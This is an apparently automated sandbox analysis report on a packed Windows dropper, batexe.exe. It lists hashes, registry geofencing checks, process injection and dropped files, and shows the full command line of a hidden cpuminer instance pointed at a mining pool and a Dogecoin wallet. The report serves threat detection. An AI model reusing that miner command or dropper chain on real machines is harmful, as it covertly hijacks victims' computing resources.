73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
292s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
14/02/2024, 04:48

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3900	b2e.exe
1648	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1648	cpuminer-sse2.exe
1648	cpuminer-sse2.exe
1648	cpuminer-sse2.exe
1648	cpuminer-sse2.exe
1648	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/876-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 876 wrote to memory of 3900	876	batexe.exe	84
PID 876 wrote to memory of 3900	876	batexe.exe	84
PID 876 wrote to memory of 3900	876	batexe.exe	84
PID 3900 wrote to memory of 4224	3900	b2e.exe	85
PID 3900 wrote to memory of 4224	3900	b2e.exe	85
PID 3900 wrote to memory of 4224	3900	b2e.exe	85
PID 4224 wrote to memory of 1648	4224	cmd.exe	88
PID 4224 wrote to memory of 1648	4224	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:876
- C:\Users\Admin\AppData\Local\Temp\5F18.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5F18.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5F18.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3900
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6225.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4224
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1648

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5F18.tmp\b2e.exe

Filesize
11.7MB

MD5
770454601e4b41e80980a21849871173

SHA1
cf0c3e0319cd88f6269c1dbc5bf2f71242207dc4

SHA256
a79230f98649d9370d01fd8cb4a4e901c8b06025a335f49bc39ffdae9f4b81b2

SHA512
7b94ec0b5ffe6a01cedb3a22093410485c755aab0d89acace9207284185361f96602581a785c921ba9b892a080b89d365c7ae8acfa3fa61a2d43384cea9cdbe5

Download Submit
C:\Users\Admin\AppData\Local\Temp\5F18.tmp\b2e.exe

Filesize
5.3MB

MD5
d08594191f07852576dab240f587d610

SHA1
45486880de26efc3731de7c37897acdad6106ec4

SHA256
054fff0d1178253a1df3620f42b1a72d9fb604ab89b97c031278325d8876489f

SHA512
4975f0c72902ddf93288691afb6752750af1c783fe1614f73f915a7e4d49ac90f1b0ec5b00c5cb22d71385dd862904de2fc70e69587c332850523afba6599c25

Download Submit
C:\Users\Admin\AppData\Local\Temp\5F18.tmp\b2e.exe

Filesize
4.0MB

MD5
097bb2dd878e47200b83f21cc68df657

SHA1
d8ce046b034f22c5c36513bacb7bb8647a0ebeb9

SHA256
af58df26bac428365eeec6f2c2ac87713ba36a7b1acd5f3f9f2256a1e5fe44f8

SHA512
28689c6d523176843376ac27cee4db5f33626f7f61f084c5137cbdb57141b32a4b26d9c981f7f0d8a849621a28ce323d0c4f7f7323cbd93c560fd068f439586c

Download Submit
C:\Users\Admin\AppData\Local\Temp\6225.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.3MB

MD5
06cdf1b25624314eb2d87e9ec3d6fbb7

SHA1
6a5161e9e8faa0636ed5967840115de1ce2c5862

SHA256
728fd985479158e3ccf15f3fbf97d41a4752e64e9b3f55a7ba94aff3b1aebf45

SHA512
7c31ea1f0a3f909a5c5662fecdaddc82acf35dc27fa1980cfb42859dfb5558f11cc056baedd789eeeb8179b006ce7cf1a1966a1b4389c5187d893705d3a29cd1

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
680KB

MD5
1fb28ee7ac9fdf5b0d283d127fc45e17

SHA1
ce3cc2478b5226486afd413d5cc680150bb6bafb

SHA256
3a722ef4f62886cb0a0fdeb665f87033dba486391a118214fa102d46fc924612

SHA512
deb4add65f587ca10fe1eaecd8e5135454ccf0301ad615a8e7404b3da3044be7fbd853bb747a9d83936f0ef87f08c0462048a5339408304cbafe6859e2b765e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
753KB

MD5
38829a6604585703a437539063157dd5

SHA1
21584bfcb6b60e43aef1700f4aa8f65adbc2e82a

SHA256
7139c92dd564bff4b5e3e8fbf5c9a16a78bc90e6d8cfdc82bf2b8cb07969dc45

SHA512
3fd237a588df58076924991ea8449f9deb5bf6afdf8987f3e18b33b1a05a2546f4783a3d1d6e93a2dbbc7d53581f3f4f8558b2c195832eaab7e6285ce367bfe3

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.1MB

MD5
673b7ed6aa5daa684642917b389b033a

SHA1
8726d6bc9ea5a1743adb6860a6c180d7a1c0873a

SHA256
eefd8ac300ed9eea0c0eacea436e2a218692068ea62b798fb865e0ffd6c26dc0

SHA512
618f87e06be6b4ff18c7792f7fb0b46aa5ef8faf08d94d6c8762690b3a42d488d4f2ec4490264a6f1d77215f3af5d73e61c39c3b9723b3e8c274299506e8666a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
fd9250eb790ba6687fb9d7fbcb6508bf

SHA1
b6eb0a3d89c93e3e00ed81d9be10946372bf97da

SHA256
75472c78d3eb1a9fda3284baa42b92a9c81b39d956ebd3bff90dac6b7f9c0f3a

SHA512
253acdb6fafc5f22c272cae78f28fc19e12ec25f71188da4f2ea0f9ae0459a080b83b2ec36d07fb9326eba23621f52d20f7e8c0d8663bf652ba264cd1caead8c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
783KB

MD5
9ad376d5b260d37f67c39ce8d4cbd78a

SHA1
d4fc3b490b57f24c1aa33382de05a6aa715c3124

SHA256
5e0a308f5a3ab12f5540d229d3399a77fbd9b7cbab23df3313b1c36aa731a984

SHA512
51191e00adba5f58a7eb40ae4892a3ad506f3c7b16fb9f991aa621f203bf61acc3617849fb33290db175d01ee9708088c53f6cc7bc2d44fa1776d7999f2cb23b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
df14bf47780d1e806ab9ef6d2e30feb1

SHA1
840d21833e8b67c2d195e8572dfa3049ae4891a9

SHA256
e82c666020de6a712a696aae4fa88213212130499f6e647c19a2818b291562c7

SHA512
ea99541db01526a0824e815f94e21b88785a1e75b47d3d6ea926d836e59afb5ca0a305d2dd40fc6ba73b30448bf2322e4c4ed5e9bcc47a9ce9b92ccef00d6241

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/876-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/1648-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1648-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1648-46-0x000000006D880000-0x000000006D918000-memory.dmp

Filesize
608KB

Download
memory/1648-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1648-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/1648-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1648-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1648-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1648-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1648-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1648-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1648-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1648-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1648-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1648-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3900-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3900-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download